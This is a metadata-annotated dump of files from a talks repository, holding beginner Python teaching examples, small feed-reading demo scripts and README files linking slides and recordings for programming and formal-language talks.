"/2018-03-05-Introduction-to-Python/examples/17-first-class.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def foo(n):\n return n + 1\n\nprint(foo(1)) # 2\n\n# Assigning functions to variables:\nbar = foo\nprint(bar(1)) # 2\n\n# Passing functions as an argument:\ndef execute(func, arg):\n return func(arg)\nprint(execute(foo, 1)) # 2\n\n# Creating functions during runtime:\ndef adder(n):\n def f(k):\n return k + n\n return f\ng = adder(1)\nprint(g(5)) # 6\n" }, { "alpha_fraction": 0.5103926062583923, "alphanum_fraction": 0.5519630312919617, "avg_line_length": 27.866666793823242, "blob_id": "df6db83cb2cc829efbc8c26ecb21c3fb1824c062", "content_id": "14f03af108169ee91017416dea184f22f931167b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 437, "license_type": "permissive", "max_line_length": 60, "num_lines": 15, "path": "/2019-03-04-Introduction-to-Python/examples/27-text-binary.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Binary mode:\nwith open('26-text-binary.txt', 'rb') as f:\n data = f.read()\n\nprint(data) # b'Ko\\xc4\\x8di\\xc4\\x8dka\\r\\n'\nprint(len(data)) # 11\nprint(data.decode('utf-8')) # Kočička\n\n# Text mode:\nwith open('26-text-binary.txt', 'r', encoding='utf-8') as f:\n text = f.read()\n\nprint(text) # Kočička\nprint(len(text)) # 8\nprint(text.encode('utf-8')) # b'Ko\\xc4\\x8di\\xc4\\x8dka\\n'\n" }, { "alpha_fraction": 0.578125, "alphanum_fraction": 0.6588541865348816, "avg_line_length": 53.85714340209961, "blob_id": "8de2b8ca106b3745b104fd0351759455e6a82a01", "content_id": "3b8db68ec71e9fd7996487e6af173dd00a5d1f52", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 384, "license_type": "permissive", "max_line_length": 122, "num_lines": 7, "path": "/2016-12-02-Some-Lesser-Known-Features-of-Cpp11-and-Cpp14/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Some Lesser-Known Features of C++11 and C++14\n=============================================\n\nSupportive material for my *Some Lesser-Known Features of C++11 and C++14* talk from 2016-12-02.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2016-12-02-Some-Lesser-Known-Features-of-Cpp11-and-Cpp14/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=o8C5PAUBumc) (in Czech)\n" }, { "alpha_fraction": 0.5660660862922668, "alphanum_fraction": 0.5840840935707092, "avg_line_length": 18.02857208251953, "blob_id": "7baaca13abcd7fc98fd5d9b78de0bc62557f4b83", "content_id": "087322b4fd5568d7af62bdac3ff2872548547d2e", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 666, "license_type": "permissive", "max_line_length": 78, "num_lines": 35, "path": "/2020-03-26-Python-Object-Model/examples/dynamic-layout.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Object in Python do not have a fixed layout.\n\nclass X:\n def __init__(self, a):\n self.a = a\n\nx = X(1)\nprint(x.a) # 1\n\n# For example, we can add new attributes to objects:\nx.b = 5\nprint(x.b) # 5\n\n# Or even new methods into a class:\nX.foo = lambda self: 10\nprint(x.foo()) # 10\n\n# Or even changing base classes during runtime (this is just for illustration,\n# I do not recommend doing this in practice):\n\nclass A:\n def foo(self):\n return 1\n\nclass B(A):\n pass\n\nclass C:\n def foo(self):\n return 2\n\nb = B()\nprint(b.foo(), B.__bases__) # 1 (<class '__main__.A'>,)\nB.__bases__ = (C,)\nprint(b.foo(), B.__bases__) # 2 (<class '__main__.C'>,)\n" }, { "alpha_fraction": 0.7039275169372559, "alphanum_fraction": 0.712990939617157, "avg_line_length": 29.090909957885742, "blob_id": "7398e66f129c58f03e9cfdeef08fa49b259ede02", "content_id": "f15458c84ded262f1cf8ca3fc33d63d7781854c3", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 331, "license_type": "permissive", "max_line_length": 73, "num_lines": 11, "path": "/2018-03-05-Introduction-to-Python/examples/24-abc-no-inheritance.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "from collections import abc\n\nclass Answer:\n def __len__(self):\n return 42\n\n# Passes, even though Answer does not inherit from abc.Sized:\nassert isinstance(Answer(), abc.Sized)\n\n# This is achieved by abc.Sized's override of __subclasshook__(), see\n# https://docs.python.org/3/library/abc.html#abc.ABCMeta.__subclasshook__\n" }, { "alpha_fraction": 0.6338383555412292, "alphanum_fraction": 0.6818181872367859, "avg_line_length": 55.57143020629883, "blob_id": "22da592d9854170e194c6e5a40a55a9ec5eae544", "content_id": "be4b674ba1cc8f02448617260edf49f68dbaf04b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 406, "license_type": "permissive", "max_line_length": 125, "num_lines": 7, "path": "/2014-04-24-Zpetny-preklad-aneb-jak-z-binarky-ziskat-zdrojak/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Zpětný překlad aneb jak z binárky dostat zdroják\n================================================\n\nSupportive material for my *Zpětný překlad aneb jak z binárky dostat zdroják* talk from 2014-04-24.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2014-04-24-Zpetny-preklad-aneb-jak-z-binarky-ziskat-zdrojak/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=YlFIS6bD1vM) (in Czech)\n" }, { "alpha_fraction": 0.6261398196220398, "alphanum_fraction": 0.7051671743392944, "avg_line_length": 46, "blob_id": "7cd37b8835b5dc1bf29e7cda2033522c697e070e", "content_id": "790ff49abe9a30729b1cf01f7703ddb516b679c2", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 329, "license_type": "permissive", "max_line_length": 103, "num_lines": 7, "path": "/2012-10-24-Scattered-Context-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Scattered Context Grammars\n==========================\n\nSupportive material for my *Scattered Context Grammars* talk from 2012-10-24.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2012-10-24-Scattered-Context-Grammars/slides.pdf)\n* [Audio recording](https://talks.petrzemek.net/Petr-Zemek_-_2012-10-24_-_SCG.mp3) (Czech)\n" }, { "alpha_fraction": 0.5876010656356812, "alphanum_fraction": 0.6037735939025879, "avg_line_length": 20.823530197143555, "blob_id": "9a0d4ec2d6d8afd67a9641f0b0b8a988999c6b75", "content_id": "5d315d1fb407d1c2b0b7424adc001f8b3327aeda", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 371, "license_type": "permissive", "max_line_length": 63, "num_lines": 17, "path": "/2018-03-05-Introduction-to-Python/examples/07-objects.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Everything is an object, even integers:\na = 256\nprint(a.bit_length())\n\n# ...and documentation strings:\ndef factorial(n):\n \"\"\"Returns the factorial of n.\"\"\"\n if n == 0:\n return 1\n else:\n return n * factorial(n - 1)\n\nprint(factorial.__doc__) # prints \"Returns the factorial of n.\"\n\n# ...and even three dots :-)\nx = ...\nprint(x) # prints \"Ellipsis\"\n" }, { "alpha_fraction": 0.4589235186576843, "alphanum_fraction": 0.5269121527671814, "avg_line_length": 21.0625, "blob_id": "27908f6c8668a493e416fc1857ac8fa49e7bb255", "content_id": "db0fdd734e8ecd4d3f710844693ae60ce1a5c91b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 353, "license_type": "permissive", "max_line_length": 48, "num_lines": 16, "path": "/2017-03-07-Introduction-to-Python/examples/22-point.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "from math import sqrt\n\nclass Point:\n \"\"\"Representation of a point in 2D space.\"\"\"\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n def distance(self, other):\n return sqrt((other.x - self.x) ** 2 +\n (other.y - self.y) ** 2)\n\na = Point(1, 2)\nb = Point(3, 4)\nprint(a.distance(b)) # 2.8284271247461903\n" }, { "alpha_fraction": 0.4285714328289032, "alphanum_fraction": 0.45962733030319214, "avg_line_length": 15.100000381469727, "blob_id": "6f13bf89f10ef962b2487b7c213126a86d677497", "content_id": "e2ed09599bb84dbad290055fe3a7d27e028d234d", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 161, "license_type": "permissive", "max_line_length": 23, "num_lines": 10, "path": "/2020-03-02-Introduction-to-Python/examples/31-generators.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def fibonacci():\n a, b = 0, 1\n while True:\n yield a\n a, b = b, a + b\n\nfor fib in fibonacci():\n print(fib)\n if fib > 100:\n break\n" }, { "alpha_fraction": 0.6232394576072693, "alphanum_fraction": 0.6830986142158508, "avg_line_length": 46.33333206176758, "blob_id": "23f66a203098c83a8007240e48e4dbc633def3d1", "content_id": "28b17113e2db5bfa546c9de8bc8fb88299ceaf71", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 292, "license_type": "permissive", "max_line_length": 113, "num_lines": 6, "path": "/2009-04-21-Metatridy-v-Pythonu-a-jejich-vyuziti/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Metatřídy v Pythonu a jejich využití\n====================================\n\nSupportive material for my *Metatřídy v Pythonu a jejich využití* Czech talk from 2009-04-21.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2009-04-21-Metatridy-v-Pythonu-a-jejich-vyuziti/slides.pdf)\n" }, { "alpha_fraction": 0.6283186078071594, "alphanum_fraction": 0.7035398483276367, "avg_line_length": 36.66666793823242, "blob_id": "389e9ec621f18f2e3946005d8c1a18baae4b05c0", "content_id": "779325562e465c298dcebdb501980cf7107b31a7", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 226, "license_type": "permissive", "max_line_length": 100, "num_lines": 6, "path": "/2013-10-22-Jumping-Finite-Automata/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Jumping Finite Automata\n=======================\n\nSupportive material for my *Jumping Finite Automata* talk from 2013-10-22.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-10-22-Jumping-Finite-Automata/slides.pdf)\n" }, { "alpha_fraction": 0.6226012706756592, "alphanum_fraction": 0.6289978623390198, "avg_line_length": 25.05555534362793, "blob_id": "5745633188a6b13d8e1d78968700cf96a85af1c2", "content_id": "568a7b6ccb46e594f41eb2132c5d92d69ce8c173", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 469, "license_type": "permissive", "max_line_length": 79, "num_lines": 18, "path": "/2017-03-07-Introduction-to-Python/demos/reddit.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Note: This script is just an illustration. It contains a very simple solution\n# to the problem, which is far from perfect.\n\nimport json\nimport urllib.request\n\nURL = 'https://www.reddit.com/r/Python/.json'\nwith urllib.request.urlopen(URL) as url:\n text = url.read()\n\ntext = json.loads(text)\nfor data in text['data']['children']:\n data = data['data']\n print('{:<4} {:<15} {}'.format(\n data['score'],\n data['author'],\n data['title']\n ))\n" }, { "alpha_fraction": 0.5625, "alphanum_fraction": 0.5818965435028076, "avg_line_length": 24.77777862548828, "blob_id": "4c96b649d4756a2d0a9176f9887974cc7a6ab7ca", "content_id": "ac025cc8560b1cf1125e7b228f62f8b5b8dbb175", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 464, "license_type": "permissive", "max_line_length": 79, "num_lines": 18, "path": "/2017-03-07-Introduction-to-Python/demos/wc1.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Note: This script is just an illustration. It contains a very simple solution\n# to the problem, which is far from perfect.\n\nimport sys\n\nif len(sys.argv) != 2 or sys.argv[1] in ['-h', '--help']:\n print(f'usage: {sys.argv[0]} FILE')\n sys.exit(0)\n\nlines = 0\nwords = 0\nwith open(sys.argv[1], 'r') as file:\n for line in file:\n lines += 1\n for word in line.split(' '):\n if word.strip():\n words += 1\nprint(lines, words)\n" }, { "alpha_fraction": 0.5270270109176636, "alphanum_fraction": 0.5729729533195496, "avg_line_length": 25.428571701049805, "blob_id": "7bfd3a270695b618dfd81949509baa8f075c2fdb", "content_id": "fcfdb53ce615ed27ed5d5231c39d4a6e9e850348", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 370, "license_type": "permissive", "max_line_length": 47, "num_lines": 14, "path": "/2019-03-04-Introduction-to-Python/examples/25-traceback.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def foo(x, i):\n def bar():\n return x[i]\n return bar()\n\nprint(foo([1, 2, 3], 4))\n# Traceback (most recent call last):\n# File \"24-traceback.py\", line 6, in <module>\n# print(foo([1, 2, 3], 4))\n# File \"24-traceback.py\", line 4, in foo\n# return bar()\n# File \"24-traceback.py\", line 3, in bar\n# return x[i]\n# IndexError: list index out of range\n" }, { "alpha_fraction": 0.7008368372917175, "alphanum_fraction": 0.7050209045410156, "avg_line_length": 30.866666793823242, "blob_id": "2ea81f1cd3650368a0befc53746315ad97cc7eaf", "content_id": "e7c1713a3354fa2d2f316dda6704f852926921bb", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 478, "license_type": "permissive", "max_line_length": 79, "num_lines": 15, "path": "/2017-03-07-Introduction-to-Python/demos/planetpython.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Note: This script is just an illustration. It contains a very simple solution\n# to the problem, which is far from perfect.\n\nimport urllib.request\nimport xml.etree.ElementTree as ET\n\nURL = 'http://planetpython.org/rss20.xml'\nwith urllib.request.urlopen(URL) as url:\n doc = ET.parse(url)\n\nfor item in doc.iterfind('channel/item'):\n title = item.findtext('title')\n date = item.findtext('pubDate')\n link = item.findtext('link')\n print(f'{title}\\n{date}\\n{link}\\n')\n" }, { "alpha_fraction": 0.6504559516906738, "alphanum_fraction": 0.6504559516906738, "avg_line_length": 20.933332443237305, "blob_id": "7f38c63c6120e50f7871497af9e240d30ef912db", "content_id": "6c97c745ad69f16a7bbba36497767199714d86a0", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 329, "license_type": "permissive", "max_line_length": 62, "num_lines": 15, "path": "/2019-03-04-Introduction-to-Python/examples/07-duck-typing.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Based on https://en.wikipedia.org/wiki/Duck_typing#In_Python\n\nclass Duck:\n def quack(self):\n print(\"quack quack\")\n\nclass Person:\n def quack(self):\n print(\"faked quack quack\")\n\ndef in_forest(duck):\n duck.quack()\n\nin_forest(Duck()) # prints \"quack quack\"\nin_forest(Person()) # prints \"faked quack quack\"\n" }, { "alpha_fraction": 0.6165048480033875, "alphanum_fraction": 0.6990291476249695, "avg_line_length": 33.33333206176758, "blob_id": "7c6c337577a3a7fd6ecc713de6f747c1a13c0565", "content_id": "36722d34d931339891dc4582048c9a02f80c6f42", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 206, "license_type": "permissive", "max_line_length": 95, "num_lines": 6, "path": "/2013-03-06-Flying-with-Python/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Flying with Python\n==================\n\nSupportive material for my *Flying with Python* talk from 2013-03-06.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2013-03-06-Flying-with-Python/slides.pdf)\n" }, { "alpha_fraction": 0.3444976210594177, "alphanum_fraction": 0.42583730816841125, "avg_line_length": 15.076923370361328, "blob_id": "a0178beb9995c302dc3ebc460b4174995f240f26", "content_id": "c2840757f01edaad98d85e5f00666962a4bd90e8", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 209, "license_type": "permissive", "max_line_length": 35, "num_lines": 13, "path": "/2017-03-07-Introduction-to-Python/examples/23-variables.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class A:\n a = 1\n\n def __init__(self, b):\n self.b = b\n\nx = A(1)\ny = A(1)\nprint(x.a, x.b, y.a, y.b) # 1 1 1 1\nx.b = 2\nprint(x.a, x.b, y.a, y.b) # 1 2 1 1\nA.a = 3\nprint(x.a, x.b, y.a, y.b) # 3 2 3 1\n" }, { "alpha_fraction": 0.6435331106185913, "alphanum_fraction": 0.6971608996391296, "avg_line_length": 51.83333206176758, "blob_id": "3c71d87afe551288c57f28ea173679389afc69ab", "content_id": "024c4ebf99f76bd41774c2d730f9e58b695707d1", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 317, "license_type": "permissive", "max_line_length": 117, "num_lines": 6, "path": "/2011-08-18-On-Nondeterminism-in-Programmed-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "On Nondeterminism in Programmed Grammars\n========================================\n\nSupportive material for a joint talk with Lukáš Vrábel named *On Nondeterminism in Programmed Grammars* from 2012-09-24.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2011-08-18-On-Nondeterminism-in-Programmed-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.48564592003822327, "alphanum_fraction": 0.5, "avg_line_length": 18, "blob_id": "746f2ec984190a55e325d67162a7af307434b546", "content_id": "e118e3a415b82668188e5c67bac6cddf89794759", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 418, "license_type": "permissive", "max_line_length": 52, "num_lines": 22, "path": "/2018-03-05-Introduction-to-Python/examples/24-mixins.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Cooperative multiple inheritance, mixins, super().\n\nclass WithX:\n def __init__(self):\n super().__init__()\n self.x = 1\n\nclass WithY:\n def __init__(self):\n super().__init__()\n self.y = 2\n\nclass A(WithX, WithY):\n def __init__(self, n):\n super().__init__()\n self.n = n\n\na = A(3)\nprint(A.__mro__) # (A, WithX, WithY, object)\nprint(a.x) # 1\nprint(a.y) # 2\nprint(a.n) # 3\n" }, { "alpha_fraction": 0.6470588445663452, "alphanum_fraction": 0.727554202079773, "avg_line_length": 45.14285659790039, "blob_id": "7f7d5933909b32b8d6180325bee447277752179b", "content_id": "e600f7678fba08b81e7b7b1a40ac3f1d99aace1b", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 323, "license_type": "permissive", "max_line_length": 100, "num_lines": 7, "path": "/2019-03-04-Introduction-to-Python/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Introduction to Python\n======================\n\nSupportive material for my *Introduction to Python* talk from 2019-03-04.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2019-03-04-Introduction-to-Python/slides.pdf)\n* [Examples](https://github.com/s3rvac/talks/tree/master/2019-03-04-Introduction-to-Python/examples)\n" }, { "alpha_fraction": 0.6177777647972107, "alphanum_fraction": 0.6711111068725586, "avg_line_length": 55.25, "blob_id": "8117f4a2b9586e41c9ca87ccae7a6843d71cbf69", "content_id": "28fe37bd33901782615ff805093e130a98d04f2c", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 450, "license_type": "permissive", "max_line_length": 107, "num_lines": 8, "path": "/2020-04-28-Pull-Requests-and-Code-Reviews/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Pull Requests, Code Reviews, and High-Quality Code\n==================================================\n\nSupportive material for my *Pull Requests, Code Reviews, and High-Quality Code* talk from 2020-04-28.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2020-04-28-Pull-Requests-and-Code-Reviews/slides.pdf)\n* [Recording (Czech)](https://www.youtube.com/watch?v=6s5f-0WYb1s)\n* [Recording (English)](https://www.youtube.com/watch?v=c_W6M90DFDk)\n" }, { "alpha_fraction": 0.380952388048172, "alphanum_fraction": 0.4761904776096344, "avg_line_length": 20, "blob_id": "252c9b2fc7c907b57d76ca7b5cd222939a8f5e48", "content_id": "9ac746c47354760d5c87e2a25d71892128930daa", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 42, "license_type": "permissive", "max_line_length": 20, "num_lines": 2, "path": "/2021-03-08-Introduction-to-Python/examples/12-set.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "s = {1, 2, 3, 'hey'}\nprint(2 in s) # True\n" }, { "alpha_fraction": 0.5495495200157166, "alphanum_fraction": 0.5495495200157166, "avg_line_length": 13.800000190734863, "blob_id": "229666bfaa98a595a6fb824cd1ad8da558b37eb7", "content_id": "f012f4f41f1b989d6965c54eb1bf7c5552be6d3c", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 222, "license_type": "permissive", "max_line_length": 32, "num_lines": 15, "path": "/2020-03-02-Introduction-to-Python/examples/26-resources.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# Bad:\nf = open('file.txt', 'r')\ncontents = f.read()\nf.close()\n\n# Better:\nf = open('file.txt', 'r')\ntry:\n contents = f.read()\nfinally:\n f.close()\n\n# The best:\nwith open('file.txt', 'r') as f:\n contents = f.read()\n" }, { "alpha_fraction": 0.7058823704719543, "alphanum_fraction": 0.7058823704719543, "avg_line_length": 36.77777862548828, "blob_id": "6acea841a024feb3002c17cec059615300d21b78", "content_id": "1a15b3d825b5c7d9a1ae8688f376e40e4a0422ae", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 340, "license_type": "permissive", "max_line_length": 77, "num_lines": 9, "path": "/2020-03-26-Python-Object-Model/examples/relationship-object-type.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# The mysterious relationship between object and type.\n\n# Everything inherits from `object`, including the default metaclass `type`:\nprint(type.__bases__) # (<class 'object'>,)\n\n# However, the type of `object` is `type` as `type` is the default metaclass:\nprint(type(object)) # <class 'type'>\n\n# Kind of a chicken-an-egg problem, right? :)\n" }, { "alpha_fraction": 0.6528662443161011, "alphanum_fraction": 0.7101910710334778, "avg_line_length": 51.33333206176758, "blob_id": "f09ca119e45ea82906c9b0664ff7675d24c21a73", "content_id": "baab7ef1dccbf43d4fb84db1e2ec23956a9eb9e2", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 314, "license_type": "permissive", "max_line_length": 146, "num_lines": 6, "path": "/2013-10-31-Nondeterminism-in-Programmed-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Nondeterminism in Programmed Grammars\n=====================================\n\nSupportive material for my talk *Nondeterminism in Programmed Grammars* from 2013-10-31.\n\n* [Recording (Czech; audio only)](https://github.com/s3rvac/talks/raw/master/2013-10-31-Nondeterminism-in-Programmed-Grammars/recording-audio.mp3)\n" }, { "alpha_fraction": 0.43718594312667847, "alphanum_fraction": 0.4773869216442108, "avg_line_length": 13.214285850524902, "blob_id": "f40f6b973f55e7625a74383a1a65983684bb9d57", "content_id": "27512353b79abbb6fd30901c2bac82dc81fb031a", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 199, "license_type": "permissive", "max_line_length": 24, "num_lines": 14, "path": "/2017-03-07-Introduction-to-Python/examples/23-extension.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class A:\n def foo(self):\n print('A.foo()')\n\nx = A()\ny = A()\nx.foo() # A.foo()\ny.foo() # A.foo()\n\ndef foo2(self):\n print('A.foo2()')\nA.foo2 = foo2\nx.foo2() # A.foo2()\ny.foo2() # A.foo2()\n" }, { "alpha_fraction": 0.6356877088546753, "alphanum_fraction": 0.702602207660675, "avg_line_length": 37.42856979370117, "blob_id": "c5c488029aa33372d7e807f13a1f9703d993b67e", "content_id": "2fb435651b444af69e86d1df974a109809b36250", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 269, "license_type": "permissive", "max_line_length": 94, "num_lines": 7, "path": "/2021-05-05-High-Quality-Code/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "High-Quality Code\n=================\n\nSupportive material for my *High-Quality Code* talk from 2021-05-05.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2021-05-05-High-Quality-Code/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=_m6PfCsYkHI) (Czech)\n" }, { "alpha_fraction": 0.5946462750434875, "alphanum_fraction": 0.6214148998260498, "avg_line_length": 18.370370864868164, "blob_id": "6fdbc5089fd6e6fe3e41430a78d444111861ee95", "content_id": "43606605f0dbb0f539199d6ea5bd81f971dcfe95", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 523, "license_type": "permissive", "max_line_length": 79, "num_lines": 27, "path": "/2020-03-02-Introduction-to-Python/examples/17-first-class.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "def factorial(n):\n \"\"\"Returns the factorial of n.\"\"\"\n if n == 0:\n return 1\n else:\n return n * factorial(n - 1)\n\n# Python functions are first-class objects. For example, you can assign them to\n# variables:\nf = factorial\nprint(f(5)) # 120\n\n# Pass them to other functions:\ndef execute(f, x):\n return f(x)\n\nx = execute(factorial, 5)\nprint(x) # 120\n\n# Create them during runtime and return them:\ndef create(i):\n def add(n):\n return n + i\n return add\n\nadder = create(1)\nprint(adder(5)) # 6\n" }, { "alpha_fraction": 0.5314401388168335, "alphanum_fraction": 0.5395537614822388, "avg_line_length": 19.54166603088379, "blob_id": "cd28ee016a600f4b01b6e67c6b538688edc94ba3", "content_id": "afb5477ecd07f2ad55cf64b5cf3600da4e114452", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 493, "license_type": "permissive", "max_line_length": 79, "num_lines": 24, "path": "/2020-03-26-Python-Object-Model/examples/dict-vs-slots.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "# __dict__ vs __slots__\n\nimport sys\n\nclass A:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\nclass B:\n __slots__ = ('x', 'y')\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\na = A(1, 2)\nassert '__dict__' in dir(a)\n\n# 'b' will have a lower memory footprint (no dict) and provide faster attribute\n# access (again, no need to go through a dict when accessing them) than 'a' due\n# to the use of __slots__:\nb = B(1, 2)\nassert '__dict__' not in dir(b)\n" }, { "alpha_fraction": 0.6291079521179199, "alphanum_fraction": 0.6760563254356384, "avg_line_length": 59.85714340209961, "blob_id": "27ad6e5ed2663d259906b95adddb096ffe502eb8", "content_id": "15ecfff0c404d166b8b09199add43ba0eafa3ba9", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 426, "license_type": "permissive", "max_line_length": 131, "num_lines": 7, "path": "/2016-07-01-Rvalue-References-Move-Semantics-and-the-Magic-Thereof/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "Rvalue References, Move Semantics, and the Magic Thereof\n========================================================\n\nSupportive material for my *Rvalue References, Move Semantics, and the Magic Thereof* talk from 2016-07-01.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2016-07-01-Rvalue-References-Move-Semantics-and-the-Magic-Thereof/slides.pdf)\n* [Recording](https://www.youtube.com/watch?v=BvZf5aBP8L4) (in Czech)\n" }, { "alpha_fraction": 0.6339712738990784, "alphanum_fraction": 0.6746411323547363, "avg_line_length": 68.66666412353516, "blob_id": "cc16ef05fd760121edf5bf19058f3b2ea51f46d8", "content_id": "42de9ba1242e08022154e77b63b3e7ef9f70d527", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 418, "license_type": "permissive", "max_line_length": 148, "num_lines": 6, "path": "/2010-04-29-k-Limited-Erasing-Performed-by-Regular-Controlled-Context-Free-Grammars/README.md", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "k-Limited Erasing Performed by Regular-Controlled Context-Free Grammars\n=======================================================================\n\nSupportive material for my *k-Limited Erasing Performed by Regular-Controlled Context-Free Grammars* talk from 2010-04-29.\n\n* [Slides](https://github.com/s3rvac/talks/raw/master/2010-04-29-k-Limited-Erasing-Performed-by-Regular-Controlled-Context-Free-Grammars/slides.pdf)\n" }, { "alpha_fraction": 0.4272727370262146, "alphanum_fraction": 0.4272727370262146, "avg_line_length": 15.5, "blob_id": "8562f063db80fe46b0ffb167ba4463322d80cf6e", "content_id": "8a8f47d57251b4e188ff22cfdf0606ad60485dff", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 330, "license_type": "permissive", "max_line_length": 39, "num_lines": 20, "path": "/2021-03-08-Introduction-to-Python/examples/23-inheritance.py", "repo_name": "s3rvac/talks", "src_encoding": "UTF-8", "text": "class A:\n def foo(self):\n print('A.foo()')\n\nclass B(A):\n def foo(self):\n print('B.foo()')\n\nclass C(A):\n def foo(self):\n 